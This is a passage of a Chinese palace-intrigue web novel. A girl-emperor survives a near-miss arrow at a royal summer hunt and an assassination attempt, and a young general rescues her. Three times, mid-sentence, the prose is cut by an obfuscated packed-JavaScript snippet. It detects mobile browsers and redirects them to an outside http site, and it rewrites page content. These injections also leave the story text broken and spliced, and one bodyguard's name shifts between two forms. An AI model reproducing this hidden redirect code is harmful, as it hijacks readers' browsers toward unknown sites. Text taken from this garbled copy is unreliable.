萧灵玉长得像她,性格也像她。她对他倾注了全部的关爱,希望将他培养成为一个出色的君王。萧灵玉也的确如母亲所愿,年少有为,却在一次春猎之后,感染风寒,不久病亡。 她也曾因为丧子而伤心,只是那时候她还年轻。她想,只要能抓住手中的权力,有没有孩子又有什么要紧。可现在,她开始怀念自己的孩子了。 她想到了萧含光。 从前,她并不喜欢萧樗和萧含光这一对双生兄妹,他们长得一点也不像父亲,而像他们的母亲苏氏。齐明霜不喜欢性子柔和软弱的苏氏,所以也太不喜欢这一对孙儿。 但萧含光是灵玉的孩子。 澹台夫人怀抱着的那个孩子,并不是她的血脉。 她揉了揉太阳穴,唤道:“来人。” 內监夏从德赶来,跪伏在地:“太皇太后,奴才在。” 齐明霜道:“你去正光殿走一趟,请皇帝过来。” 夏从德:“是。” 35. 第十七章 夏苗狩礼 萧含光轻步踏入椒房殿,殿内,沉水香的袅袅余韵,似无形的丝缕,于空气中盘桓流动。 太皇太后倚靠在凤座之上,头微微偏向一侧,似在浅眠。凤冠的珠串随着她均匀的呼吸轻轻晃动,在烛光下投下细碎的影子。 她的面容在睡梦中显得分外苍老,眼角的皱纹如同刀刻一般。那双平日里锐利如鹰的眼睛此刻紧闭着,眼睑下隐约可见淡淡的青影,两道细眉间还残留着未舒展的倦意。 夏从德跪在凤座前,低声禀报道:“太皇太后,陛下来了。” 太皇太后微微睁了一下眼,旋即闭上,又过了一会,她才从睡梦中缓了过来,看向下方的萧含光,招呼道:“皇帝来了?” 萧含光跪下行礼:“孙儿参见太皇太后。” 太皇太后摆了摆手,示意平身,又招手道:“阿樗,你过来,到哀家近前来。” 萧含光起身,走到凤座之前,她不敢靠得太近,在距离太皇太后三尺之处站定。太皇太后并不说话,只是静静地凝望着她。 太皇太后看她的目光与从前不同。 从前,太皇太后投注在她身上的目光,总是冰冷、威严且极具压迫之感,令她心生恐惧、惊惶战栗,仿若置身寒冬。而此刻,那目光之中竟隐约透着一丝温情,或许还夹杂着些许哀痛。让萧含光觉得,太皇太后似是透过她,在看别的什么人。 她承受着这目光,收敛着心中疑虑,不敢有丝毫的表情流露,亦不敢有任何动作。 良久,太皇太后收回目光,缓声道:“哀家今日唤你过来,便是想与皇帝商议一下夏苗礼的事情,好让皇帝先有个准备……” “夏苗礼?” 萧含光秀眉微蹙,面露迟疑之色。 “按照我大楚朝廷惯例,每年四时,会行畋猎之礼,分别为春蒐、夏苗、秋狝、冬狩,以表不废武事。”太皇太后渐渐坐直身子,神色也变得庄重起来,道:“按照哀家的想法,今年北伐之前,应该举行春蒐礼,以祈个好兆头。无奈今春阴雨连绵,春蒐未能如期举行。” 太皇太后目光炯炯,道:“如今战事胶着,哀家以为,这夏苗礼也该尽快提上日程。皇帝率文武百官前往覆舟山的猎场行猎,正可振奋人心,将朝廷百官因战事拖延而渐趋懈怠的士气重新凝聚起来。皇帝意下如何?” 萧含光心中明白,太皇太后并非真的与她商议此事,她只是在告知她,让她做好相应准备。于是她躬身应道:“太皇太后所言甚是。只是……”她微微咬了咬下唇,面露为难之色:“但孙儿不懂骑射,只恐届时出错……” 太皇太后闻言,转头望向夏从德,道:“你去请紫乔、葛巾两人过来。” “是。”夏从德领命,动作敏捷地起身,转身快步离去。 不一会,两名身着黑色劲装的女子,并肩步入椒房殿中。左边的女子身形高挑,面容冷峻,双眸若寒星闪烁,透着一股犀利与果敢之气。右边的女子身形稍矮,肌肤胜雪,柳眉弯弯,看上去灵动而干练。二人一同跪地行礼,动作整齐划一,显然训练有素。 太皇太后的视线重新落在萧含光身上:“你的祖父戎马一生,南征北战,每次田猎都是亲身上阵。如今皇帝虽然不需要亲自沙场征战,但这骑射之术也该知晓一些。葛巾和紫乔两人是一对亲姐妹,身手不凡,也精于骑射。她们是哀家身边的暗卫,也是哀家信得过的人。哀家今天就将这两人给你,一来在夏苗礼之前教皇帝骑射之术,二来也可以暗中保护皇帝的安全。” 太皇太后似乎有些困倦,她打了一个哈欠,又道:“皇帝以后要出宫,或者要去哪儿做什么,无须事事向哀家奏报,可自行定夺。” 萧含光躬身行礼:“多谢太皇太后恩典。” 她心中轻轻舒了一口气。太皇太后这番话意味着她终于拥有了自己行动的权限,出入不再需要受制于人。 ——自三岁踏入药师庵起,她终于算是迎来了一丝自由的曙光。只是,这自由也是有限的,皇帝的身份本身就是一种桎梏。在大部分时间里,她仍只能囿于这一方宫室。 太皇太后又对紫乔、葛巾二人道:“从今天开始,你们两人就是皇帝的人,只忠于皇帝一人,只听从皇帝一人的命令,明白吗?” 紫乔、葛巾二人一同叩头,齐声应道:“谨遵懿旨。” 这日之后,萧含光的日程便更忙了。每日下午黄昏时分,她需至位于华林园的西射圃学习骑射,骑马倒是不难,宫中的御马都经过驯化,性情温顺,不过两三日,她便能独自骑马在射圃中溜达。但射箭便难了,她苦练了十余日,也仅能勉强射中靶面,难以命中靶心。 但夏苗礼本属祭礼,祭祀为重,杀生为次,只需她摆出个样子,不在众人面前出丑便好。 五月十八日清早。 皇帝与文武百官皆着戎服,往覆舟山北的皇家猎场行猎。这日天气不错,就连久居深宫的太皇太后也来了兴致,乘坐凤舆前往观猎。 皇家猎场依山而建。此地经常举行狩礼,修缮精美,亭台楼阁掩映山中,相映成趣,既可观景,也可看见下方狩猎的情形。山下则是马厩和猎场,禽兽大多为饲养,多数为鹿、獐子、狍等,也有野鸡、野兔等。 山中一早建好了礼台,旌旗猎猎飘扬。百官在礼台两侧站定之时,萧含光忽然在人群中瞧见一道熟悉的身影。 宋海晏身着戎装,独自立于一杆旌旗之下,遥望远处的猎场。数个月过去,他长得比从前更高了一些,目光也比从前更加深沉、冷峻。单单站在那里,就好似一柄刚开刃的绝代名刀,锋芒毕露,锐气逼人。一众养尊处优、缓带轻裘的世家子弟在他身边来来去去,这种鹤立鸡群的感受越发直观。即便萧含光不刻意去看,也难以忽视他的存在。 这几日,她下朝之后,空闲的时间忙着学习骑射,连齐韶都鲜少见到,竟不知道宋海晏又回了金陵,也出席今日的夏苗礼。 似乎感应到她的目光,宋海晏抬眸朝礼台瞥来。目光交汇的瞬间,他眼中闪过一丝不易察觉的波动,旋即若无其事地转头,朝着迎面走来的裴光献走去。他热情地挽起裴光献的胳膊,两人一同走进中书省官员的队列,他熟稔地与众人打招呼,面带笑容,说着些什么。 当他周旋于众人之间时,身上那种冷峻深沉的气质便消失不见,仿佛依旧是从前那个神采飞扬的少年郎。 鼓声骤然响起,文武百官一同朝礼台望去。 萧含光在太常署的引导下,完成开场前的祭仪。 祭仪结束后,太仆卿牵着御马走来,搀扶皇帝上马。太常丞双手捧着一张牛角弓,呈于御前。属官在御前放飞一只体态肥硕的雉鸟。 田猎之礼,君王需先射禽,之后文武百官方可开始射猎。太常寺知皇帝射术欠佳,特意在田猎前,给这只雉鸟多多喂食,使其体格肥胖,无法高飞。 萧含光连发三箭,终于射中了这只雉鸟。 群臣一同跪拜,三呼万岁,行猎正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351096|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式开始,诸王公大臣、世家子弟纷纷下场,带弓出猎。 萧含光清楚自己临时抱佛脚的射术,也就技止于此了,不想再下场凑热闹。齐韶体察圣意,令紫乔、葛巾领着皇帝在位于山坡处的一座凉亭暂时休歇。 这座凉亭视野不错,虽位置不算高,也约略可见群马竞逐、鸟兽惊飞的景象。皇帝时不时听到世家少年子弟射中猎物之后的雀跃喝彩声,似乎彰显着大楚世家们充沛的武德。 忽地,萧含光见两人沿着亭下的林间小道缓缓行来,正是早前所见的宋海晏和裴光献两人。 裴光献的声音隔着几行高树传来:“海晏,你手持弓箭,为何不下场一试?今日射猎可是有彩头的,这猎场中有一头正值壮年的雄鹿,双角大如交戟,行动矫捷如飞。谁若能射中这头鹿,可得赏金十锭,玉如意一对……若不是我实在不精通骑射,真想下场一试……” 宋海晏道:“裴家为襄阳大族,还差这点赏金吗?” 裴光献道:“金玉倒是其次,如今北方兴战,太常署这个时候安排下‘射鹿’的事,无非是求个吉利的好兆头。诸世家谁能得鹿,献于御前,博得个好名声,说出去也可叫人夸耀。你不见齐家、魏家的那些子弟,人人上马追逐,唯恐落后于人。要我说,他们那都是些假把式,怎比得上阿晏你沙场征战磨砺出的威风。只要你今日出手,那只鹿定是你的囊中之物……” “嘿嘿……”裴光献笑了几声,道:“如今,你宋家在前线杀敌,若你小宋将军再将这头鹿献于御前,传扬出去,岂不是一段佳话……说不定,连皇帝陛下都会对你另眼相看。等你飞黄腾达,可别忘了提携朋友……” 宋海晏静默一息。 少顷,他叹了一声,道:“裴兄,你知道我此番回金陵,是为了前方军粮短缺之事。昨日我前去拜会魏中书,魏中书说此事他做不了主,让我去求见司徒公齐鸿。可到了司徒府,府中管事却说司徒公事务繁忙,无暇见我。如今军粮之事悬而未决,我在金陵多留一日,前方将士便多忍饥挨饿一天,我哪有心思与他们争这些意气……” 裴光献也知晓朝中事务,出言安慰道:“海晏也不必过于忧心,太皇太后和皇帝陛下既有北伐之志,定会设法解决军粮之事……” 他话音未落,宋海晏忽疾声道:“小心——” 裴光献转身望去,只见一头雄鹿被群马追逐着,朝树林这边奔来。他整个人已被宋海晏拉到一旁,那雄鹿越过两人,朝着矮坡上的凉亭冲去。亭中坐着三人,只是树影遮蔽,看不清亭中之人是谁。 “不好,亭中有人——”裴光献惊呼出声。 宋海晏耳聪目明,远远便看清坐在亭中的乃是大楚国君,他的呼吸瞬间凝滞,手中弓箭下意识地控弦而发,箭矢如闪电般射出。 电光火石之间,身后追逐雄鹿的世家少年们已驱马上前。为首之人是太常卿齐梁的次子齐颂。齐颂见旁边有人搭弓射箭,生怕这“射鹿”的功劳被人抢去,他不顾亭中有人,连发三箭,朝着雄鹿射去。 萧含光本留意着宋海晏和裴光献的交谈,冷不防见雄鹿朝亭中冲来,下意识想要后退,此时那雄鹿胸口已中一箭,轰然倒在台阶之下。 紧接着,接连三箭朝着自己面门射来。惊惧之下,她几乎忘了动作。 在这千钧一发之际,她整个人被紫乔按倒在地。与此同时,葛巾拔刀,击落两支箭矢,第三支箭来势迅猛,葛巾来不及应对,被箭矢直直贯入右胸之中。 36. 第十八章 射鹿风波 齐颂策马冲至亭前,他翻下马背,正欲查看猎物。忽见亭中帷幔翻飞,紫乔扶着皇帝坐了起来。十二旒冕冠下,皇帝脸色苍白,显然受到的惊吓不轻。 “陛……陛下?”齐颂的箭囊啪嗒一声掉在地上。他这才看清,自己方才射出的三支箭,一支被斩断后钉在亭柱上,一支被斩落在地,而最后一支……正插在那名皇帝护卫的胸口。刹那间,冷汗浸透了他的后背。 紫乔的剑尖已抵住他的咽喉:“齐公子,你射的究竟是鹿,还是陛下?” 齐颂脸色瞬间变得灰暗如死,他心里清楚,就凭眼前这三支箭,自己已然犯下死罪。他双膝重重跪地:“陛下恕罪!臣……臣实在不知圣驾在此!”齐颂以额触地,声音颤抖得几近破碎,“臣只是见那鹿奔逃,一时情急……臣万死也不敢有犯上之心……” 萧含光此时已从生死一线的惊惧中渐渐缓过神来,她瞧了一眼跪地瑟瑟发抖的齐颂,心中恼怒至极。然而,齐颂乃是齐鸿的孙子,而北伐大业还得仰仗齐家的力量。在这节骨眼上,即便齐颂御前失手,险些伤了自己,她也不能贸然处置。 她又转头看向受伤昏迷的葛巾,只见葛巾面色苍白如纸,嘴角溢血,生死未卜。 萧含光传令道:“来人,传御医。”若非紫苏、葛巾这一对姐妹舍身护主,她今日就危险了。 御医匆匆赶来,一路小跑,袍角随风飞扬。百官听闻消息,也纷纷赶赴御前,一时间,周围人头攒动,议论纷纷。 司徒公齐鸿快步上前,“扑通”一声跪在御前,声音略带颤抖地奏道:“二郎行事莽撞,御前失仪,这皆是臣疏于管教之过。陛下,臣恳请您看在臣多年为朝廷效力的份上,饶恕他今日之过……” 他转头对着左右家臣厉声喝道:“还不将这不成器的孽障拖下去,禁足家中,半年不许出门。”齐家的家臣们战战兢兢地赶紧上前,架起齐颂,将他拖走。 萧含光望着齐颂离去的方向,紧咬下唇,嘴唇都差点被她咬出了一道血痕。齐颂差点弑君的罪名,在齐鸿口中,不过是“御前失仪”,“禁足半年”就可以打发了。 但眼下,她只能忍下心中的怒火。 钓鱼之道,在等与忍。如今,她第一次明白了太皇太后这八个字代表的意思。 她深深吸了一口气,压抑住脸上的愠色,声音也缓了下来:“司徒公……请起吧……今日之事,实乃意外。二郎一时失手,朕也明白并非他有意为之。” 齐鸿再次叩首:“陛下宽宏大量,臣感激不尽。”他缓缓站起,身体略微佝偻,立于一侧。 虽然皇帝和司徒公都竭力将大事化小,小事化了。然魏膺之好不容易今日抓住齐家这样一个天大把柄,又怎肯轻易放过。 他上前一步,身姿笔挺,脸上一副痛心疾首的模样,高声奏道:“陛下,今日这场行猎仪式,本是彰显我朝国威、以祈北伐大胜的祭典。齐颂率众逐鹿不得,差点射中陛下,分明是蓄意破坏今日祭典。”他言辞激昂,眼中满是愤慨,目光如利箭般射向齐鸿:“若是此事传扬出去,只怕让人认为别有用心——” 此言一出,群臣纷纷窃窃私语起来。 时人喜好谶纬之术。太常寺今日安排下射鹿的仪式,也无非是想讨个好彩头。可是这样重要的仪式之下,齐颂这一“失手”,实在太过蹊跷。加之齐家如今权倾朝野,势力庞大,皇帝面对这等危及自身安危之事,都只能隐忍,这背后缘由,不得不让人浮想联翩。 齐鸿的脸色瞬间变得极为难看。齐颂今年十六岁,文才武艺都不差。他的儿子都不成器,因而对这个孙儿寄予厚望,见他跪在御前战战兢兢,本能地选择了回护。 但魏膺之这一番言辞,分明是想在众臣面前将事情闹大,映射齐氏有意破坏祭典,存有移鼎之心,惹得群臣议论纷纷。当此之时,唯有将齐颂明正典刑,才能平息事态,可他又如何舍得? 这时,百官中走出一人来,正是太史令澹台昱。 太史令是太常寺的属官。太常属于九卿之一,掌宗庙礼仪。太常寺正卿齐梁正是齐鸿的长子、齐颂之父,也是澹台昱的顶头上司。齐梁本人沉迷修道,常年服用五石散,并不太管正事。今日的夏苗礼主要是由太常丞李敬和太史令澹台昱安排,这个“射鹿”的仪程就是澹台昱的主意。 澹台昱能成为本朝太史令,倒不是多有真才实学,而是极擅长体察上意,做些奉承逢迎的事。如今北方兴战,太皇太后和皇帝在这个时候进行夏苗礼,无非是求个吉利意思。他安排下“射鹿”的仪程,世家子弟们得鹿,献于御前,有个好兆头,太皇太后、皇上自然欢喜,太常寺脸上也有光彩。 没料到,射鹿一事竟引发如此轩然大波,还挑起了齐阀和魏阀的明争暗斗,这样下去,搞不好这火就烧到自己身上来。 他定眼看向那倒毙亭前的雄鹿,恰好两只前蹄朝着君王的方向跪倒,登时有了主意。 澹台昱走到御前,道:“魏中书此言差矣,魏中书说齐二公子蓄意破坏祭典,依下官看来,这场祭典虽有差错,但远远谈不上被破坏……”他走到那头雄鹿前,道:“诸位请看,这头雄鹿奔到亭前,恰恰好有人射鹿,献于陛下身前。这其中分明昭示,即便北伐暂时受阻,但诸君终能助朝廷逐鹿中原、定鼎天下,夺取北伐大胜,这岂非大大的吉兆?” 他这一番慷慨陈词,倒是将众臣的注意力从齐颂差点射中皇帝之事,转移到了这头雄鹿身上。 人群中再次响起议论之声,只是这次大家议论的,变成了不知是哪家儿郎箭法如此高超,恰好在这雄鹿奔至皇帝面前时,一箭将鹿射杀。 澹台昱见场间气氛转变,内心暗暗松了一口气。他命属官拿出一早准备好的花红——十锭黄金、一对玉如意,环视场间那些牵马执弓的世家少年,问道:“不知是哪位公子如此神勇,献鹿于御前?” 众世家少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355761|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年无一人应声。他们虽跟随齐颂追逐雄鹿,可谁又敢抢走齐家公子的风头,故而无人出箭。 澹台昱见无人应声,拔出雄鹿胸口那支铁箭,大声问道:“这支箭是谁家儿郎所有?” 宋海晏本不想出头,他今日射鹿,本是情急之下的无心之举,万没想到后面会发生齐颂连发三箭,差点射中萧含光的事。今日齐家颜面尽失,要是他出此风头,齐鸿心里不痛快,军粮之事怕是又要拖延几日。 但裴光献一直推着他,就差拉着他上前。宋海晏无奈之下,只好走出人群到御前跪下,奏道:“陛下,此雄鹿奔至御前,恰为臣所获,实乃臣莫大之荣幸,此诚上天眷顾我大楚也。臣衷心祈愿,此番北伐,我军能早日克复中原旧土,成就定鼎大业,使我大楚威德远播,四海宾服,黎庶咸享太平,共沐圣恩。” 澹台昱心里美滋滋的。 宋海晏此番发言,完美契合了他安排“射鹿”之意的初衷。不管齐颂最终如何处分,他澹台昱至少能将自己摘出去了。 齐鸿的脸色更难看了。 齐鸿率众射鹿不得,宋海晏却射鹿献于御前。在大楚君臣眼前,齐家自然大大不如宋家。再看宋海晏骁勇过人,御前对答进退有度,心中更是无名火起。齐颂在齐家子弟中已是极出色的了,可和宋海晏一比,何异于云泥之别。 萧含光看着跪于亭下的少年,心中的阴霾散去一些。她自然知道宋海晏射出那一箭并无争功之意,只是担心她的安危。此番演变,实属出乎意料。然木秀于林,风必摧之,只不知中路大军粮草之事是否因此横生波折。 夏风拂来,冕旒上的白玉珠轻轻晃动,萧含光压下心中忧虑,缓声道:“宋爱卿护驾有功,赏黄金一椟。” 宋海晏再次叩首谢过皇帝恩赏,退至一旁。一旁的裴光献早已迫不及待地从太常寺属官手中接过十锭黄金、一对玉如意的花红,笑盈盈道:“海晏,今日你得了这彩头,陛下还有额外恩赏,收获颇丰……晚上可要请我吃酒!” 宋海晏只得苦笑。 风头是出了,只恐见罪于司徒公,不知是福是祸。 午膳过后,百官自行安排下午的行程。若有未尽兴的,可继续行猎。若不愿再出猎,也可登山赏景游玩,等到日落时分,这一日的夏苗礼才算完成。 萧含光在临水处的画堂小憩了一阵,有内监前来禀报,说是太皇太后如今正在猎场以北的玄武湖畔垂钓,听闻皇帝受惊之事,请皇帝过去相见。 此时天色已至申时,从猎场到太皇太后垂钓之处距离不近,步辇行走太慢,萧含光便骑马慢行,由紫乔护卫前往。葛巾受伤,如此一来萧含光身边的护卫仅有紫乔一人,齐韶不太放心,亲自点了十二名羽林卫,骑马护送。 一行人行至半途,忽然有一名卫兵匆匆追了上来,说是魏膺之找齐侍郎,有要事相商。看那士兵神色焦急,齐韶只好命羽林卫继续护送,自己则转回猎场。 37. 第十九章 险死还生 出了猎场,四周便安静了许多,只听得行道两旁凉风飒飒、鸟啼嘉音。 紫苏骑马在前,萧含光居中,羽林卫执戟在后,一行人马朝着玄武湖方向行进。 经过一片密林时,忽然传来一道破空的箭声,紫苏的马中箭,人马一起倒地。萧含光的马也受了惊,奋起前蹄长嘶一声,她坐立不稳,从马背上掉下。紫苏从地上一跃而起,抽出短刀,将萧含光护于身前,大喊一声:“保护陛下——” 与此同时,三个黑色人影从密林深处窜出,这些人身着黑色劲装,脸蒙黑巾,只露出一双双凶狠的眼睛。 他们手持短刀,动作敏捷,如恶狼扑食般冲向萧含光一行。羽林卫们反应过来,迅速列阵,将萧含光护在中央,手中长戟如林,与这些黑衣刺客搏杀在一起,场上登时白刃红出,血流如泉。 萧含光脑中一片空白。 她自幼长于佛堂,何曾见过这等惨烈的杀戮景象。她平生遇到的最大危险就是上午差点被齐颂射伤,但上午之事只是意外,而眼下这些黑衣人训练有素,分明是为了取她性命而来。谁也没想到,在守卫严密的皇家猎场,竟然有人暗中潜伏,意图刺杀大楚的皇帝。 她躲在羽林卫身后,躲避黑衣人的袭击。 刺客只有三人,但个个都是好手,招招式式都直冲要害,尽是搏命的打法。 羽林卫虽是禁军精锐,但从未这般与人搏命,出手之际难免畏畏缩缩。此消彼长,相持不过片刻,羽林卫便纷纷倒地。 紫苏杀死一名刺客后,发现羽林卫竟一个站着的也没有,她一人面对两名刺客的围攻,心知不妙,大喊道:“陛下快往树林里跑,我拦住他们——” 萧含光吓得双腿发软,但眼下十分凶险,又岂容她迟疑,便勉力往林中奔去。 紫苏一人拦住两名刺客,短兵相接。两名刺客配合默契,一人在前,一人在后,一人进攻时,另外一人从旁策应。紫苏以一敌二,渐渐落于下风,险象环生。数十招后,一名刺客瞅准机会,将匕首狠狠刺进她后背。 紫苏惨叫一声,踉跄后退,顿感麻痒之意从伤口蔓延,才知这把匕首已经淬毒。她眼前一黑,重重倒地。 萧含光听到紫苏的惨叫声,脊背发凉。她发足狂奔,不敢回头看,却听得两名刺客的脚步声越来越近。 就在此时,密林深处传来两道破空之声,两支铁箭从她身旁疾射而出,一支精准地穿透了一人的咽喉,那刺客瞪大双眼,还未发出半点声响,便直挺挺地倒下。第二支则狠狠钉入另一名刺客的胸口,巨大的冲击力将他带得向后倒飞出去,撞在一棵树上。 萧含光惊魂甫定之际,见宋海晏手握长弓,从树林中奔出。他赶到萧含光身前,犹豫半刻,单膝跪下道:“陛下,臣救驾来迟……” 他话音未落,萧含光已扑了上来,她紧紧抱住他,靠在他的肩膀上,无声抽泣。 她刚刚经历一场生死须臾的刺杀,险死还生,又在这时见到自己在这世间最可相信的人,便顾不得君臣礼仪,只想倚靠在他怀中,大哭一场,发泄心中压抑到极限的情绪。 “陛下……”宋海晏下意识地想要将她推开,却感受到萧含光抱得愈发用力,他的动作僵住了。 他抬眼望向四周,只见羽林军横七竖八地倒在地上,鲜血横流,四周一片死寂,无人注意到这边的变故。犹豫片刻后,他缓缓伸出右手,轻轻环住萧含光,手掌温柔地抚着她的后背,轻声道:“阿幸,不要害怕……没事了……” 感受着怀中少女的颤栗的身躯,宋海晏心中一阵闷痛。短短一日,她竟两次与死亡擦肩而过。宫廷之中,暗流涌动,危机四伏,那看似金碧辉煌的皇宫,对她而言,实则是一座充满危险的华丽牢笼。他的心中再次涌起一股强烈的冲动,想要带她逃离这一切。 在药师庵的那一晚,他也曾生出这样的冲动,不管身后箭雨如林,他只想带她逃进树林,带她逃离那不可更改的命运。 在正光殿的那晚,他也曾生出同样的冲动,不想管什么朝廷的北伐大计,也不管宋家会受到如何的责难,只想带着她私奔,离开皇宫。 而此刻,或许是命运给了他一个绝佳的机会。皇帝刚刚遭遇刺杀,身边守卫全部身亡,他完全可以伪造现场,佯装皇帝被刺客劫持带走,然后带着她从小路悄然离开这座皇家猎场,去过自由自在的日子。 然而,这样的念头只是一闪而过。 北伐战事一起,一切事情都已经不一样了。 宋家已经将大部分的兵力投入北伐的战场,他奉父命来到金陵催促军粮一事,又怎能因一己之私情,弃前线浴血奋战的袍泽于不顾? 皇帝和太皇太后开启了这场北伐战事,他又怎能让皇帝弃国家和臣民于不顾,就此一走了之? 时光不可能倒流,他们都只能面对将来。 他缓缓吐了一口气,将心中的冲动压下,紧紧地箍着萧含光的身躯,静静地等着皇帝的情绪平复下来。 萧含光的抽泣声渐渐低了下去。 她伏在宋海晏肩头,呼吸仍带着轻微的颤抖,但指尖已不再死死攥住他的衣甲。林间的风掠过她的后颈,凉意让她蓦地清醒过来——她此刻是皇帝,而他是臣子,现在并非她可以软弱的时刻。 这里仍属覆舟山猎场,随时会有人过来。 她缓缓站了起来,擦去脸上的泪痕,整理自己已经散乱的袍服。她退开数步,她的嗓音仍有些哑,却已恢复了帝王应有的庄重沉稳:“宋爱卿,平身吧,朕并无大事。” 宋海晏看着她离开了自己的怀抱,重新戴上了那一层假面,恢复了帝王的威仪。 他心中泛过一丝痛楚,终究又将之压了回去。他站起身,又拾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365623|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上的长刀,仔细查验一番。又走向不远处中箭而亡的两名刺客,解开他们覆脸的黑巾,查看了尸体。当看到刺客手臂上的纹身时,他的脸一瞬间冷若冰霜。 他重新走到皇帝面前,躬身奏道:“启禀陛下,这种长刀是北魏军中的制式武器,这几个人肤色比中原人更白,且脸上都是黄须,十有八九是鲜卑人。而且他们的左臂上有兕虎纹身。据臣推测,这三人很有可能出自北魏的兕虎营。” 萧含光喃喃道:“兕虎营?” “据说,兕虎营是北魏皇帝拓跋睿豢养的死士营,是北魏最精锐的部队。人人悍不畏死,一般只用来执行必死无疑的任务,他们只听从拓跋睿一个人的命令。”他深吸一口气,语气愈发凝重:“陛下,北魏的死士能够潜入金陵的皇家猎场,意图行刺陛下,此事非同小可。臣怀疑朝中有人与北魏勾结……不知这覆舟山猎场的防务是谁负责?” 萧含光身体一僵。 如今金陵的城卫军和禁军都是由太皇太后把持,太皇太后绝不可能与北魏勾结暗杀她。但今日的祭典由太常寺负责,太常寺卿齐梁是齐家的人。 齐梁。齐家。 她瞬间想到了齐宝珠带回来的那个孩子。如果她今日死在了猎场,那个孩子便会理所当然地成为大楚的国君。 冷汗从后背津津而下,她不敢再往后深想。 宋海晏看着她苍白的脸色,正要说话,不远处传来马嘶之声。 两人回头望去,见齐韶策马疾驰而来。 齐韶也远远地看见了在林中相对而立的皇帝和宋海晏,眼眸中闪过一丝异样,很快又恢复如常。他注意到倒了一地的尸体,脸色骤变。他走到皇帝身前,额前已是冷汗如雨,行礼道:“陛下无恙否?想不到这猎场竟会出现刺客。臣安排失当,致使陛下遇险,请陛下降罪。” 萧含光垂眸道:“朕与羽林卫行至半途,这些刺客突然出现,杀死所有的禁卫。幸亏宋爱卿及时出现,射杀刺客,朕方得无恙。宋爱卿已经查验过尸体,这些刺客很可能出自北魏的兕虎营。” 她想起之前齐韶中途离开,疑心是不是有人故意将齐韶及一半护卫调走,便问道:“齐爱卿不是说魏中书有要事相商吗?怎么去而复返?” 齐韶道:“臣找到魏中书时,他刚猎得一只赤狐。魏中书一脸茫然,坚称并未派人来找臣商议要事,臣顿觉事情蹊跷,便快马加鞭赶回,万没想到陛下竟遭遇如此凶险的刺客。”见萧含光并无受伤,齐韶已从最初的慌乱中冷静下来,道:“臣恳请陛下即刻起驾回宫,臣会禀报太皇太后,彻查此事。” 言罢,他又缓缓转头,目光落在宋海晏身上,道:“小宋将军,稍后也请你入宫一趟,详细说明当时情况。你今日救驾有功,太皇太后必有封赏。” 宋海晏面色平静,眼中波澜不惊,拱手行礼:“是。” 38. 第二十章 薤露易晞 回程的路上,齐韶持太皇太后的印信,调来金陵卫尉韩毅,命他亲自率大军护卫皇帝圣驾回宫。 路上一切无事。 回到正光殿时,萧含光已十分疲倦,白令瑶、楚秋筠两位宫廷女官服侍皇帝洗沐,之后萧含光便上榻休息。 她今日受惊,睡得并不沉,未到子时便已苏醒,唤来白令瑶询问齐韶是否有来过,调查刺客之事是否有结果。 齐韶果然来过一次,因天色已晚,皇帝未醒便先行离去,但他带来了几条消息。 第一,今日下午引开齐韶的那名卫兵在玄武湖中被发现,已经溺死。 第二,紫苏并没有死,她后背中刀,伤势并不致命,只是因为中毒而昏迷。目前,她和葛巾在一起,由御医精心治疗。 第三,太皇太后先召见了齐鸿,两人谈了整整一个时辰。齐鸿离开后,太皇太后又单独召见了宋海晏,不过半炷香时间宋海晏便离开了椒房殿。这两场对话的内容无人可知。太皇太后命人转告齐韶,她已令齐鸿彻查今日皇帝遇刺之事,同时江南各郡转运粮草的进度比预期早了数天,最早的一批粮草两日后就可以到达金陵。 这位皇帝最可倚仗的近臣,在御书房研了半个时辰的墨,留下了一幅墨宝。 萧含光命白令瑶将墨宝取来,展开一观,见上面书写了八个字:“戒急用忍,行以致远。”不知齐韶写这八个字是出于自省,还是用来劝诫皇帝。 萧含光靠在御榻上,微微闭上双眼。她知道所谓彻查刺客不会有实质上的结果了。 太皇太后再一次向她展现了自己的权衡之道,和司徒公达成了某种交易。 萧含光苦笑,最少还有两个好消息。 一来,宋海晏终于获得中路大军急需的军粮,前线的压力将会减轻,北伐的战线可以继续向前推进。 二来,紫苏还活着。这一对姐妹跟随她的时间不长,她也不希望一次夏苗礼就有了折损。 第二日,萧含光照旧早起入朝。因为军粮大事业已敲定,朝中实无大事,且昨日夏苗礼众臣也累了一天,下朝很早。 萧含光以为太皇太后会召见她问询昨日之事,谁知椒房殿那边竟没有消息。太皇太后既然无意再向她提及此事,她也只能当作猎场遇刺之事从未发生过。 她回到御书房,觉得无所事事,便打开齐韶昨日留下的“戒急用忍,行以致远”条幅看了半晌,从书柜的上层翻出一沓金钩细的字帖,又寻了空白书笺,临写字帖。 